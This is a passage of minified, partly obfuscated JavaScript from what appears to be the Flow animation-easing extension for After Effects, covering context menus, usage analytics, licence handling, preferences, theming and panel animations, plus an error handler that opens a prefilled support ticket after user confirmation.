                var e = jQuery(".libButton:hover");
                switch (A) {
                    case "apply":
                        AE.sendValuesToAe();
                        break;
                    case "keysEase":
                        AE.sendValuesToAe("Keyframes", "Both");
                        break;
                    case "keysEaseIn":
                        AE.sendValuesToAe("Keyframes", "In");
                        break;
                    case "keysEaseOut":
                        AE.sendValuesToAe("Keyframes", "Out");
                        break;
                    case "applyExpression":
                        AE.sendValuesToAe("Expression", "Both");
                        break;
                    case "reverseValues":
                        GraphInteraction.reverseValues();
                        break;
                    case "copyValues":
                        var t = Globals.bezier.coordinates.toString().split(",");
                        Util.copyToClipboard(t);
                        break;
                    case "editItem":
                        Globals.bezierLibrary.editItem(e);
                        break;
                    case "renameItem":
                        Globals.bezierLibrary.renameItem(e);
                        break;
                    case "removeItem":
                        Globals.bezierLibrary.deleteItem(e);
                        break;
                    case "sortDate":
                        Globals.bezierLibrary.sort("sortByDate");
                        break;
                    case "sortAsc":
                        Globals.bezierLibrary.sort("sortAsc");
                        break;
                    case "sortDesc":
                        Globals.bezierLibrary.sort("sortDesc");
                        break;
                    case "libExport":
                        EventHandlers.exportLibrary();
                        break;
                    case "libImport":
                        EventHandlers.importLibrary();
                        break;
                    case "libReset":
                        EventHandlers.clearLibrary();
                        break;
                    case "deleteCustomLib":
                        alert("deleteCustomLib");
                        break;
                    case "renameCustomLib":
                        alert("renameCustomLib");
                        break;
                    case "createCustomLib":
                        alert("createCustomLib");
                        break;
                    default:
                        Log.warning("contextMenuHandler: Unknown button clicked! " + event)
                }
            }
            Log.trace("\u2192 Core.createContextMenu");
            var i = [{
                    id: "apply",
                    label: "Apply"
                }, {
                    id: "applyKeys",
                    label: "Apply to Keys",
                    menu: [{
                        id: "keysEase",
                        label: "Ease"
                    }, {
                        id: "keysEaseIn",
                        label: "Ease In"
                    }, {
                        id: "keysEaseOut",
                        label: "Ease Out"
                    }]
                }, {
                    id: "applyExpression",
                    label: "Apply to Expression"
                }],
                r = [{
                    id: "reverseValues",
                    label: "Reverse Values"
                }, {
                    id: "copyValues",
                    label: "Copy Values"
                }],
                o = [{
                    id: "editItem",
                    label: "Edit Item",
                    enabled: !1
                }, {
                    id: "renameItem",
                    label: "Rename Item",
                    enabled: !1
                }, {
                    id: "removeItem",
                    label: "Remove Item",
                    enabled: !1
                }],
                n = [{
                    id: "sorting",
                    label: "Sort Library",
                    enabled: !0,
                    menu: [{
                        id: "sortDate",
                        label: "By Date"
                    }, {
                        id: "sortAsc",
                        label: "Ascending"
                    }, {
                        id: "sortDesc",
                        label: "Descending"
                    }]
                }],
                s = [{
                    id: "manage",
                    label: "Manage Library",
                    enabled: !0,
                    menu: [{
                        id: "libExport",
                        label: "Export"
                    }, {
                        id: "libImport",
                        label: "Import"
                    }, {
                        id: "libClear",
                        label: "Clear"
                    }]
                }],
                a = new CSInterface;
            a.setContextMenuByJSON(A([i, r]), t), jQuery("#currentLibrary").contextmenu(function(e) {
                return void a.setContextMenuByJSON(A([]), t)
            }), jQuery("#libContainer").contextmenu(function() {
                var i = jQuery("[name='currentLibrary']:checked").val(),
                    r = "default" === i ? [n] : [o, n, s];
                e(), a.setContextMenuByJSON(A(r), t)
            }), jQuery("#graphPanel").contextmenu(function() {
                a.setContextMenuByJSON(A([i, r]), t)
            }), jQuery(document).contextmenu(e), Log.trace("\u2190 Core.createContextMenu")
        }

        function e(A) {
            switch (A.data.menuId) {
                case "refreshMenuItem":
                    location.reload();
                    break;
                default:
                    Log.warning("flyoutMenuClickedHandler: Unknown button clicked! " + A.data.menuId)
            }
        }

        function t() {
            Log.trace("\u2192 Core.sendAnalytics");
            var A = "[" + jQuery("#P1x").text() + ", " + jQuery("#P1y").text() + ", " + jQuery("#P2x").text() + ", " + jQuery("#P2y").text() + "]";
            jQuery("input[type='radio']:checked").each(function() {
                var A = jQuery(this),
                    e = A.closest("div").attr("id"),
                    t = A.attr("title");
                Globals.aesp[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 57 - t)
                    }).join("")
                }(53, 221, 207) + 495029..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 45 - t)
                    }).join("")
                }(16, 161, 166) + 28..toString(36).toLowerCase()].event(e, {
                    VALUE: t
                })
            }), Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 33 - t)
                }).join("")
            }(35, 165) + 838..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 55 - t)
                }).join("")
            }(21, 184, 194, 198, 184) + 460..toString(36).toLowerCase()].event("Layout", {
                VALUE: Globals.currentLayoutName
            }), Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 54 - t)
                }).join("")
            }(31, 196, 184, 196, 182) + 1253..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 63 - t)
                }).join("")
            }(61, 241, 224, 229)].event("Bezier Values", {
                VALUE: A
            }), Globals.aesp[10..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 51 - t)
                }).join("")
            }(58, 219) + 495029..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 12 - t)
                }).join("")
            }(27, 139, 144) + 28..toString(36).toLowerCase()].event("Colour Theme", {
                VALUE: Prefs.get("flowTheme")
            }), Log.trace("\u2190 Core.sendAnalytics")
        }

        function i(A, e, t) {
            Log.trace("\u2192 Core.onLicenseStatusChange: " + String(t)), UI.toggleEducationalCSS("Educational License" === t), Config.license = e ? "Trial" : t, Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 11 - t)
                }).join("")
            }(49, 171, 159, 171, 157) + 1624548..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 14 - t)
                }).join("")
            }(23, 152)].event("Flow License", {
                VALUE: Config.license
            }), Log.info(["AE v" + (new CSInterface).getHostEnvironment().appVersion, "Flow v" + String(Config.version), "License '" + String(t) + "'"].join("; ")), Log.trace("\u2190 Core.onLicenseStatusChange")
        }

        function r() {
            (new CSInterface).requestOpenExtension(16438..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 29369919094336..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(41, 180, 171, 167, 160) + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + (0x94b82b3ebd0ae).toString(36).toLowerCase() + 28..toString(36).toLowerCase()), Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 57 - t)
                }).join("")
            }(13, 169, 181, 167) + 21..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 18 - t)
                }).join("")
            }(53, 192) + 1376812..toString(36).toLowerCase()].event("Config Opened")
        }

        function o(A, e) {
            Log.trace("--\x3e Core.getUniqueName: '" + A + "': checking...");
            for (var t = 2, i = A; e.some(function(A) {
                    return A.name === i
                });) i = A + " " + t, t++;
            return Log.trace("<-- Core.getUniqueName: '" + A + "' => '" + i + "'"), i
        }
        return {
            createContextMenu: A,
            flyoutMenuClickedHandler: e,
            sendAnalytics: t,
            onLicenseStatusChange: i,
            preferencesCallback: r,
            getUniqueName: o
        }
    }(),
    ErrorHandler = function() {
        function A() {
            Log.trace("\u2192 ErrorHandler.buildLogPath");
            var A = new CSInterface,
                e = A.getSystemPath(SystemPath.USER_DATA),
                t = A.getHostEnvironment(),
                i = "CEPHtmlEngine" + A.getCurrentApiVersion().major + "-" + t.appId + "-" + t.appVersion + "-" + A.getExtensions([A.getExtensionID()])[0].id + ".log",
                r = A.getOSInformation();
            e = e.substring(0, e.lastIndexOf("/") + 1), r.indexOf("Windows") >= 0 ? e += "Local/Temp/" : r.indexOf("Mac") >= 0 && (e += "Logs/CSXS/");
            var o = e + i;
            return Log.trace("\u2190 ErrorHandler.buildLogPath"), o
        }

        function e(A) {
            var e = "",
                t = new XMLHttpRequest;
            return t.open("GET", A, !1), t.onreadystatechange = function() {
                4 === t.readyState && (200 !== t.status && 0 !== t.status || (e = t.responseText))
            }, t.send(e), e
        }

        function t(t) {
            Log.trace("\u2192 ErrorHandler.onError");
            var i = new CSInterface,
                r = String(t.error),
                o = r.toLowerCase(),
                n = "";
            o.indexOf("script error") > -1 ? n = "Script Error: See Browser Console for Detail" : (Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 63 - t)
                }).join("")
            }(39, 210) + 24..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 7 - t)
                }).join("")
            }(57, 167)](t), n = "(" + t.lineno + "::" + t.colno + ") " + r), Log.error(n);
            var s = "Flow Error: " + n + "\r\rPress OK to open a support ticket.\r\rPLEASE FILL OUT THE FORM, OR WE CAN'T HELP YOU.",
                a = confirm(s),
                I = ["Problem Description: Steps to Reproduce: 1. 2. 3. 4. Actual Result: Expected Result: Any Workarounds: "].join("\n");
            window.setTimeout(function() {
                if (!0 === a) {
                    var t = A(),
                        r = e(t),
                        o = ["AE " + i.getHostEnvironment().appVersion, "Flow v" + Config.version, i.getOSInformation(), "", n, "", r, "", "--------------------------", "", JSON.stringify(localStorage)].join("\r"),
                        s = [I, "--------------------------", o].join("\n");
                    i.openURLInDefaultBrowser("http://aescripts.com/contact/?direct=1&product_id=934&subject=Flow%20" + Config.version + "%20Error%20Log&dept=1&priority=1&message=" + encodeURI(s))
                }
                i.closeExtension(), Log.trace("\u2190 ErrorHandler.onError")
            })
        }
        return t
    }(),
    Prefs = function() {
        function A(A, e) {
            return Log.trace("Prefs.set: " + A + " to " + String(e)), Globals.aesp[43268824..toString(36).toLowerCase() + 35..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 34 - t)
                }).join("")
            }(53, 203, 199, 203) + 13550..toString(36).toLowerCase()].setItem(A, e), e
        }

        function e(e) {
            var t = Globals.aesp[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 0 - t)
                }).join("")
            }(41, 153) + 27..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 57 - t)
                }).join("")
            }(46, 219, 223, 189, 220, 206, 204) + 1273262..toString(36).toLowerCase()].getItem(e);
            if (Util.isNullOrUndefined(t)) {
                return A(e, Config.defaults[e])
            }
            return t
        }

        function t(t) {
            return A(t, Config.defaults[t]), e(t)
        }

        function i() {
            for (var A in Config.defaults) Config.defaults.hasOwnProperty(A) && t(A)
        }
        return {
            set: A,
            get: e,
            reset: t,
            resetAll: i
        }
    }(),
    ThemeManager = function() {
        "use strict";

        function A(A, e) {
            function t(A, e) {
                var t = isNaN(e) ? A : A + e;
                return t < 0 ? t = 0 : t > 255 && (t = 255), t = Math.floor(t), t = t.toString(16), 1 === t.length ? "0" + t : t
            }
            Log.trace("\u2192 ThemeManager.toHex: " + JSON.stringify(A) + ", delta: " + String(e));
            var i = "";
            return A && (i = t(A.red, e) + t(A.green, e) + t(A.blue, e)), Log.trace("\u2190 ThemeManager.toHex: " + String(i)), i
        }

        function e(A, e, t) {
            var i = document.getElementById(A);
            i && (i = i.sheet, i.addRule ? i.addRule(e, t) : i.insertRule && i.insertRule(e + " { " + t + " }", i.cssRules.length))
        }

        function t(t) {
            Log.trace("\u2192 ThemeManager.updateThemeWithAppSkinInfo");
            var r = "hostStyle",
                o = t.panelBackgroundColor.color,
                n = new CSInterface,
                s = parseFloat(n.hostEnvironment.appVersion),
                a = {
                    min: 38.25,
                    max: 89.25
                },
                I = {
                    min: 38,
                    max: 89
                },
                l = {
                    min: 20,
                    max: 64
                },
                c = {
                    min: 38,
                    max: 97
                },
                B = {
                    min: 31,
                    max: 59
                },
                g = {
                    min: 0,
                    max: 38
                },
                h = {
                    min: 26,
                    max: 64
                },
                E = {
                    min: 49,
                    max: 87
                },
                u = {
                    rMin: 51,
                    rMax: 6,
                    gMin: 153,
                    gMax: 191,
                    bMin: 204,
                    bMax: 255
                },
                Q = {
                    rMin: 32,
                    rMax: 45,
                    gMin: 96,
                    gMax: 137,
                    bMin: 128,
                    bMax: 179
                },
                d = {
                    rMin: 66,
                    rMax: 136,
                    gMin: 66,
                    gMax: 136,
                    bMin: 66,
                    bMax: 136
                };
            s <= 13.2 ? (l = {
                min: 20,
                max: 64
            }, c = {
                min: 38,
                max: 89
            }, u = {
                rMin: 0,
                rMax: 51,
                gMin: 119,
                gMax: 204,
                bMin: 179,
                bMax: 255
            }, Q = {
                rMin: 0,
                rMax: 0,
                gMin: 85,
                gMax: 85,
                bMin: 128,
                bMax: 128
            }) : s > 13.2 && s <= 13.7 ? (c = {
                min: 38,
                max: 89
            }, Q = {
                rMin: 22,
                rMax: 45,
                gMin: 67,
                gMax: 134,
                bMin: 89,
                bMax: 179
            }) : s > 13.7 && (I = {
                min: 35,
                max: 75
            }, l = {
                min: 29,
                max: 71
            }, c = {
                min: 49,
                max: 87
            }, B = {
                min: 22,
                max: 66
            }, g = {
                min: 42,
                max: 81
            }, u = {
                rMin: 45,
                rMax: 70,
                gMin: 140,
                gMax: 169,
                bMin: 235,
                bMax: 245
            }, Q = {
                rMin: 45,
                rMax: 70,
                gMin: 140,
                gMax: 169,
                bMin: 235,
                bMax: 245
            });
            var f = A({
                    red: Util.linearMap(o.red, a.min, a.max, I.min, I.max),
                    green: Util.linearMap(o.red, a.min, a.max, I.min, I.max),
                    blue: Util.linearMap(o.red, a.min, a.max, I.min, I.max)
                }),
                S = A({
                    red: Util.linearMap(o.red, a.min, a.max, l.min, l.max),
                    green: Util.linearMap(o.red, a.min, a.max, l.min, l.max),
                    blue: Util.linearMap(o.red, a.min, a.max, l.min, l.max)
                }),
                w = A({
                    red: Util.linearMap(o.red, a.min, a.max, c.min, c.max),
                    green: Util.linearMap(o.red, a.min, a.max, c.min, c.max),
                    blue: Util.linearMap(o.red, a.min, a.max, c.min, c.max)
                }),
                p = A({
                    red: Util.linearMap(o.red, a.min, a.max, B.min, B.max),
                    green: Util.linearMap(o.red, a.min, a.max, B.min, B.max),
                    blue: Util.linearMap(o.red, a.min, a.max, B.min, B.max)
                }),
                C = A({
                    red: Util.linearMap(o.red, a.min, a.max, g.min, g.max),
                    green: Util.linearMap(o.red, a.min, a.max, g.min, g.max),
                    blue: Util.linearMap(o.red, a.min, a.max, g.min, g.max)
                }),
                D = A({
                    red: Util.linearMap(o.red, a.min, a.max, h.min, h.max),
                    green: Util.linearMap(o.red, a.min, a.max, h.min, h.max),
                    blue: Util.linearMap(o.red, a.min, a.max, h.min, h.max)
                }),
                v = A({
                    red: Util.linearMap(o.red, a.min, a.max, E.min, E.max),
                    green: Util.linearMap(o.red, a.min, a.max, E.min, E.max),
                    blue: Util.linearMap(o.red, a.min, a.max, E.min, E.max)
                }),
                m = A({
                    red: Util.linearMap(o.red, a.min, a.max, u.rMin, u.rMax),
                    green: Util.linearMap(o.red, a.min, a.max, u.gMin, u.gMax),
                    blue: Util.linearMap(o.red, a.min, a.max, u.bMin, u.bMax)
                }),
                M = A({
                    red: Util.linearMap(o.red, a.min, a.max, Q.rMin, Q.rMax),
                    green: Util.linearMap(o.red, a.min, a.max, Q.gMin, Q.gMax),
                    blue: Util.linearMap(o.red, a.min, a.max, Q.bMin, Q.bMax)
                }),
                P = A({
                    red: Util.linearMap(o.red, a.min, a.max, d.rMin, d.rMax),
                    green: Util.linearMap(o.red, a.min, a.max, d.gMin, d.gMax),
                    blue: Util.linearMap(o.red, a.min, a.max, d.bMin, d.bMax)
                });
            Globals.graphStyle.AE.lastGraph.bezierColor = "#" + P, f = A(o);
            var y = A(o, 20),
                F = A(o, 100);
            e(r, ".hostBgd", "background-color:#" + f + " !important"), e(r, ".hostBgdDark", "background-color:#" + y + " !important"), e(r, ".hostDark", "background-color:#" + C + " !important"), e(r, ".hostApplyBtn, .hostApplyBtn:focus", "background-color:#" + M + " !important"), e(r, ".canvasBorderCol", "border-color:#" + D + " !important"), e(r, ".canvasBorderCol", "background-image: linear-gradient(to right, #" + D + " 1px, transparent 1px), linear-gradient(to bottom, #" + D + " 1px, transparent 1px) !important"), e(r, ".hostDarkBorder", "border-color:#" + D + " !important"), e(r, ".libItemBaseHover:hover > canvas, .libDelBtnHover:hover, .btnDefHover:hover", "background-color: #" + C + " !important"), e(r, ".libItemSelectedHover.selected:hover > canvas", "background-color: #" + F + " !important"), e(r, ".aeScrollBarBase::-webkit-scrollbar", "background-color: #" + S + " !important"), e(r, ".aeScrollBarSlider::-webkit-scrollbar-thumb", "border: 1px solid #" + S + " !important"), e(r, ".aeScrollBarSlider::-webkit-scrollbar-thumb", "background-color: #" + w + " !important"), e(r, ".aeScrollBarRound::-webkit-scrollbar-thumb", "border-radius: 10px !important"), e(r, ".hostTextField", "background-color: #" + p + " !important"), e(r, ".hostae14txtBorder", "border: 1px solid #" + v + " !important"), e(r, ".hostae14txtBorder", "border-radius: 3px !important"), e(r, ".hostFontLightBG", "color: #" + F + " !important"), e(r, ".hostHiliteColor.active", "color: #" + m + " !important"), e(r, ".hostHiliteColor *:active:hover, .hostHiliteColor:active:hover", "color: #" + M + " !important"), i(), Log.trace("\u2190 ThemeManager.updateThemeWithAppSkinInfo")
        }

        function i() {
            Log.trace("\u2192 ThemeManager.addClasses"), jQuery("body").addClass("hostBgd"), jQuery(".canvas-wrapper").addClass("canvasBorderCol"), jQuery("#graphPanel-bottom").addClass("hostBgd"), jQuery("#btn_editBezierValues").addClass("hostTextField"), jQuery("#applyAs").addClass("hostDarkBorder"), jQuery("#btn_applyToKeys").addClass("hostDarkBorder"), jQuery("#easyEaseLabel").addClass("hostDarkBorder"), jQuery("#btn_applyValues").addClass("hostApplyBtn"), jQuery("#divider").addClass("hostTextField hostFontLightBG"), jQuery("#defaultLibButton").addClass("hostDarkBorder"), jQuery("#btn_export").addClass("hostDarkBorder"), jQuery(".btn-default").addClass("btnDefHover"), jQuery(".libButton").addClass("hostFontLightBG"), jQuery("#currentLibrary > label").addClass("hostHiliteColor"), jQuery("#applyOptionsRow > div > label").addClass("hostHiliteColor"), jQuery("#libraryIORow").children().addClass("hostHiliteColor"), jQuery("#values").children().addClass("hostHiliteColor"), r(), Log.trace("\u2190 ThemeManager.addClasses")
        }

        function r() {
            Log.trace("\u2192 ThemeManager.slimAdd"), jQuery("#library > a").addClass("libItemBaseHover libItemSelectedHover"), jQuery("#library > a > button").addClass("libDelBtnHover hostBgdDark"), jQuery("#libContainer").addClass("aeScrollBarBase aeScrollBarSlider");
            var A = new CSInterface;
            14 === parseFloat(A.hostEnvironment.appVersion) && (jQuery("#libContainer").addClass("aeScrollBarRound"), jQuery("#btn_editBezierValues").addClass("hostae14txtBorder")), Log.trace("\u2190 ThemeManager.slimAdd")
        }

        function o() {
            Log.trace("\u2192 ThemeManager.slimRemove"), jQuery("#library > a").removeClass("libItemBaseHover libItemSelectedHover"), jQuery("#library > a > button").removeClass("hostBgdDark libDelBtnHover"), jQuery("#libContainer").removeClass("aeScrollBarBase aeScrollBarSlider aeScrollBarRound"), Log.trace("\u2190 ThemeManager.slimRemove")
        }

        function n() {
            Log.trace("\u2192 ThemeManager.removeClasses"), jQuery("body").removeClass("hostBgd"), jQuery(".canvas-wrapper").removeClass("canvasBorderCol"), jQuery("#graphPanel-bottom").removeClass("hostBgd"), jQuery("#btn_editBezierValues").removeClass("hostTextField hostae14txtBorder"), jQuery("#applyAs").removeClass("hostDarkBorder"), jQuery("#btn_applyToKeys").removeClass("hostDarkBorder"), jQuery("#easyEaseLabel").removeClass("hostDarkBorder"), jQuery("#btn_applyValues").removeClass("hostApplyBtn"), jQuery("#divider").removeClass("hostTextField hostFontLightBG"), jQuery("#defaultLibButton").removeClass("hostDarkBorder"), jQuery("#btn_export").removeClass("hostDarkBorder"), jQuery(".btn-default").removeClass("btnDefHover"), jQuery(".libButton").removeClass("hostFontLightBG"), jQuery("#currentLibrary > label").removeClass("hostHiliteColor"), jQuery("#applyOptionsRow > div > label").removeClass("hostHiliteColor"), jQuery("#libraryIORow").children().removeClass("hostHiliteColor"), jQuery("#values").children().removeClass("hostHiliteColor"), o(), Log.trace("\u2190 ThemeManager.removeClasses")
        }
        return {
            removeClasses: n,
            slimAdd: r,
            slimRemove: o,
            updateThemeWithAppSkinInfo: t
        }
    }(),
    UI = function() {
        function A() {
            Log.trace("\u2192 UI.enableEaseDirectionButtons"), jQuery("#easeDirection>label").removeClass("disabled-radio"), jQuery("#easeDirection>label").removeClass("disabled"), Log.trace("\u2190 UI.enableEaseDirectionButtons")
        }

        function e() {
            Log.trace("\u2192 UI.disableEaseDirectionButtons"), jQuery("#easeDirection>label").addClass("disabled-radio"), jQuery("#easeDirection>label").addClass("disabled"), jQuery("#easeDirection>label").removeClass("active"), jQuery("#easeDirection>label>input").prop("checked", !1), jQuery("#easyEaseLabel").addClass("active"), jQuery("#Both").prop("checked", !0), Prefs.set("easeDirection", "Both"), Log.trace("\u2190 UI.disableEaseDirectionButtons")
        }

        function t(A) {
            Log.trace("\u2192 UI.toggleEducationalCSS: " + String(A));
            var e = jQuery("#values").children(),
                t = jQuery("#currentLibrary > label");
            A ? (e.addClass("disabled-radio disabled"), t.addClass("disabled-radio disabled"), jQuery("input:radio[name='currentLibrary']").filter("[value='default']").prop("checked", !0), jQuery("#defaultLibButton").addClass("active"), jQuery(".userLib").removeClass("active"), EventHandlers.updateCurrentLibrary()) : (e.removeClass("disabled-radio disabled"), t.removeClass("disabled-radio disabled")), Log.trace("\u2190 UI.toggleEducationalCSS: " + String(A))
        }

        function i() {
            Log.trace("\u2192 UI.toggleCSSTheme");
            var A = Prefs.get("flowTheme");
            "monochrome" === A && (A = "AE"), document.getElementById("theme_css").href = "css/theme_" + A + ".css";
            var e = new CSInterface;
            "AE" === A ? (ThemeManager.updateThemeWithAppSkinInfo(e.hostEnvironment.appSkinInfo), e.addEventListener(CSInterface.THEME_COLOR_CHANGED_EVENT, EventHandlers.onAppThemeColorChanged)) : (ThemeManager.removeClasses(), e.removeEventListener(CSInterface.THEME_COLOR_CHANGED_EVENT, EventHandlers.onAppThemeColorChanged)), Log.trace("\u2190 UI.toggleCSSTheme")
        }

        function r() {
            Log.trace("\u2192 UI.toggleLibScalers"), Prefs.get("displayLibScalers") ? jQuery("#libSizeButtons").removeClass("hide") : jQuery("#libSizeButtons").addClass("hide"), Log.trace("\u2190 UI.toggleLibScalers")
        }

        function o() {
            Log.trace("\u2192 UI.toggleLibraryIO"), Prefs.get("displayLibIORow") ? jQuery("#libraryIORow").removeClass("hide") : jQuery("#libraryIORow").addClass("hide"), Log.trace("\u2190 UI.toggleLibraryIO")
        }

        function n() {
            Log.trace("\u2192 UI.updateLibraryCSSSize");
            var A = Prefs.get("libraryItemSize");
            jQuery(".libraryItem").css("width", A), jQuery(".libraryItem").css("height", A), jQuery(".libButton").css("width", A), Log.trace("\u2190 UI.updateLibraryCSSSize")
        }

        function s() {
            Log.trace("\u2192 UI.toggleThemeCSS");
            var A = Prefs.get("flowTheme");
            document.getElementById("theme_css").href = "css/theme_" + A + ".css", "AE" === A ? ThemeManager.slimAdd() : ThemeManager.slimRemove(), Log.trace("\u2190 UI.toggleThemeCSS: " + String(A))
        }

        function a() {
            jQuery("[rel=tooltip]").tooltip("destroy"), jQuery("[rel=tooltip]").tooltip({
                container: "body",
                trigger: "hover"
            }), Prefs.get("showTooltips") ? jQuery("[rel=tooltip]").tooltip("enable") : jQuery("[rel=tooltip]").tooltip("disable")
        }

        function I() {
            jQuery("#library").sortable({
                delay: 250
            }), jQuery("#library").disableSelection()
        }

        function l() {
            Log.trace("\u2192 UI.updateLayoutFromConfig");
            var A = Prefs.get("easeDirection");
            jQuery("#easyEaseLabel").removeClass("active"), jQuery("#" + A).parent().addClass("active"), jQuery("#" + A).prop("checked", !0);
            var e = Prefs.get("applyAs");
            jQuery("#" + e).prop("checked", !0), "Expression" === e && (jQuery("#btn_applyToKeys").removeClass("active"), jQuery("#btn_applyToExpression").addClass("active"), UI.disableEaseDirectionButtons()), Prefs.get("graphHidden") && (Prefs.get("isPortrait") ? (Animators.slideUpHide(jQuery("#graphPanel"), jQuery("#divider"), jQuery("#libraryPanel")), Globals.dividerDraggable = !1, Globals.isBeingDragged = !1) : (Animators.slideLeftHide(jQuery("#graphPanel"), jQuery("#divider"), jQuery("#libraryPanel")), Globals.dividerDraggable = !1, Globals.isBeingDragged = !1));
            var t = Prefs.get("currentLibrary");
            if ("default" !== t) {
                var i = jQuery("input:radio[name='currentLibrary']"),
                    r = i.filter("[value='" + Util.jQuerySelectorEscape(t) + "']");
                r.prop("checked", !0), r.closest("label").addClass("active"), jQuery("#defaultLibButton").removeClass("active"), jQuery("#libraryIORow").removeClass("hidden")
            }
            UI.toggleLibScalers(), UI.toggleLibraryIO(), Globals.bezierLibrary.sortDirection = Prefs.get("currentSortDirection"), Globals.bezierLibrary.currentLibrary = t, Log.trace("\u2190 UI.updateLayoutFromConfig")
        }

        function c() {
            Log.trace("\u2192 UI.buildLibraryTabs");
            var A = Globals.bezierLibrary.getUserLibNames(),
                e = jQuery("#currentLibrary");
            A.forEach(function(A) {
                var t = jQuery("<label>").attr({
                        title: A,
                        rel: "tooltip",
                        "data-placement": "auto"
                    }).addClass("btn btn-default activeToggle"),
                    i = jQuery("<input type='radio'>").attr({
                        name: "currentLibrary",
                        value: A,
                        title: A
                    }),
                    r = jQuery("<i>").addClass("icon-star-full icon-lg");
                i.appendTo(t), r.appendTo(t), t.appendTo(e)
            }), Log.trace("\u2190 UI.buildLibraryTabs")
        }
        return {
            enableEaseDirectionButtons: A,
            disableEaseDirectionButtons: e,
            toggleEducationalCSS: t,
            toggleCSSTheme: i,
            toggleLibScalers: r,
            toggleLibraryIO: o,
            updateLibraryCSSSize: n,
            toggleThemeCSS: s,
            initializeTooltips: a,
            initializeDragNDrop: I,
            updateLayoutFromConfig: l,
            buildLibraryTabs: c
        }
    }(),
    Animators = function() {
        function A() {
            Log.trace("\u2192 Animators.slideLeftHide");
            var A = jQuery("#graphPanel"),
                e = jQuery("#divider");
            A.css("overflow", "hidden"), e.animate({
                left: 0
            }, {
                progress: function() {
                    Layout.updateLayout(parseFloat(e.css("left")))
                },
                complete: function() {
                    A.css({
                        display: "none",
                        overflow: ""
                    }), Layout.updateLayoutName(), Prefs.set("graphHidden", !0)
                }
            }), Log.trace("\u2190 Animators.slideLeftHide")
        }

        function e() {
            Log.trace("\u2192 Animators.slideRightShow");
            var A = jQuery("#graphPanel"),
                e = jQuery("#divider");
            A.css({
                overflow: "hidden",
                display: "-webkit-flex"
            }), e.animate({
                left: Globals.basePanelSizes.landscapeDividerPosition
            }, {
                progress: function() {
                    Layout.updateLayout(parseFloat(e.css("left")))
                },
                complete: function() {
                    A.css({
                        display: "",
                        overflow: ""
                    }), Layout.updateLayoutName(), Prefs.set("graphHidden", !1), Globals.dividerDraggable = !0
                }
            }), Log.trace("\u2190 Animators.slideRightShow")
        }

        function t() {
            Log.trace("\u2192 Animators.slideUpHide");
            var A = jQuery("#graphPanel"),
                e = jQuery("#divider");
            A.css("overflow", "hidden"), e.animate({
                top: 0
            }, {
                progress: function() {
                    Layout.updateLayout(parseFloat(e.css("top")))
                },
                complete: function() {
                    A.css({
                        display: "none",
                        overflow: ""
                    }), Layout.updateLayoutName(), Prefs.set("graphHidden", !0)
                }
            }), Log.trace("\u2190 Animators.slideUpHide")
        }

        function i() {
            Log.trace("\u2192 Animators.slideDownShow");
            var A = jQuery("#graphPanel"),
                e = jQuery("#divider");
            A.css({
                overflow: "hidden",
                display: "-webkit-flex"
            }), e.animate({
                top: Globals.basePanelSizes.portraitDividerPosition
            }, {
                progress: function() {
                    Layout.updateLayout(parseFloat(e.css("top")))
                },
                complete: function() {
                    A.css({
                        display: "",
                        overflow: ""
                    }), Layout.updateLayoutName(), Prefs.set("graphHidden", !1), Globals.dividerDraggable = !0
                }
            }), Log.trace("\u2190 Animators.slideDownShow")
        }
        return {
            slideLeftHide: A,
            slideRightShow: e,
